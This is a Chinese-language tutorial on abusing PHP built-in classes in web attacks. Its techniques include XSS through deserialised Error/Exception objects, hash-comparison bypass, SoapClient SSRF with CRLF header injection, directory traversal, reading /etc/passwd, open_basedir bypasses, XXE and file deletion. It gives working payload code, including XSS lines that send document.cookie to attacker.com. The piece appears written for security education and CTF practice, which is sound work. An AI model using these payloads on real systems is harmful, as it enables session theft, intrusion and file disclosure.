PHP内置类的花样利用
字数 1058 2025-08-11 17:40:12
PHP内置类的花样利用 - 全面教学文档
前言
PHP内置类提供了许多强大的功能,可以用于XSS攻击、哈希比较绕过、SSRF、目录遍历、文件读取等多种场景。本文将详细介绍这些利用技术。
一、Error/Exception类的利用
1. XSS攻击
适用条件:
- Error类:PHP7版本,开启报错
- Exception类:PHP5/PHP7版本,开启报错
原理:
这两个类都有__toString()魔术方法,当对象被当作字符串使用时触发。
示例代码:
// test.php
$str = unserialize($_GET['cmd']);
echo $str;
Payload生成:
// Error类
$str = new Error("<script>alert('xss_successful')</script>");
echo urlencode(serialize($str));
// Exception类
$str = new Exception("<script>alert('xss_successful')</script>");
echo urlencode(serialize($str));
实战应用:
- 窃取Cookie:
<script>window.open('http://attacker.com/?'+document.cookie);</script> - 恶意跳转:
<script>window.location.href='http://attacker.com/?'+document.cookie</script>
2. 绕过哈希比较
原理:
当对类对象进行哈希计算时,会触发__toString()方法。利用Error/Exception类的特性可以构造两个不同对象但哈希值相同的实例。
示例:
$a = new Error("aaa", 1);
$b = new Error("aaa", 2);
// 必须保证两个Error类在同一行
实战应用:
class SYCLOVER {
public $syc;
public $lover;
}
$str = new SYCLOVER();
$str->syc = new Exception($payload, 1);
$str->lover = new Exception($payload, 2);
二、SoapClient类的SSRF利用
1. 基本SSRF
适用条件:
- 需要加载php_soap.dll扩展
- PHP5/PHP7/PHP8
示例代码:
$a = new SoapClient(null, array(
'location' => 'http://attacker:port/aaa',
'uri' => 'http://attacker:port'
));
$c->not_exists_function(); // 触发__call()
2. CRLF注入实现任意POST请求
Payload构造:
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array(
'location' => $target,
'user_agent'=>'RoboTerh^^Content-Type: application/x-www-form-urlencoded^^'
.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^'.$post_string,
'uri' => "aaab"
));
三、目录遍历与文件读取
1. DirectoryIterator类
示例:
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
echo ($f->__toString().'<br>');
}
2. FilesystemIterator类
用法与DirectoryIterator类似。
3. SplFileObject类读取文件
示例:
$a = new SplFileObject("php://filter/convert.base64-encode/resource=/etc/passwd");
echo $a->fread($a->getSize());
四、绕过open_basedir限制
1. ini_set() + 相对路径
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..'); chdir('..'); chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/hosts');
2. symlink()软链接
mkdir("1");chdir("1"); mkdir("2");chdir("2");
mkdir("3");chdir("3"); mkdir("4");chdir("4");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("1/2/3/4","tmplink");
symlink("tmplink/etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
五、XXE漏洞利用
SimpleXMLElement类
$xml = new SimpleXMLElement($data, LIBXML_NOENT, true);
// 或
$xml = new SimpleXMLElement('http://attacker.com/evil.xml', 0, true);
六、文件删除利用
ZipArchive类
$zip = new ZipArchive();
$zip->open('test.zip', ZipArchive::OVERWRITE); // 或使用8
七、Reflection类的妙用
Reflection类可以获取类的内部信息:
$reflector = new ReflectionClass('ClassName');
$methods = $reflector->getMethods();
$properties = $reflector->getProperties();
总结
PHP内置类提供了多种强大的功能,安全人员需要了解这些特性以防止被恶意利用。关键点包括:
- 利用
__toString()进行XSS或哈希绕过 - SoapClient类的SSRF能力
- 各种迭代器类的目录遍历功能
- 绕过open_basedir限制的技术
- XXE和文件删除等高级利用技术
理解这些技术有助于更好地保护PHP应用程序安全。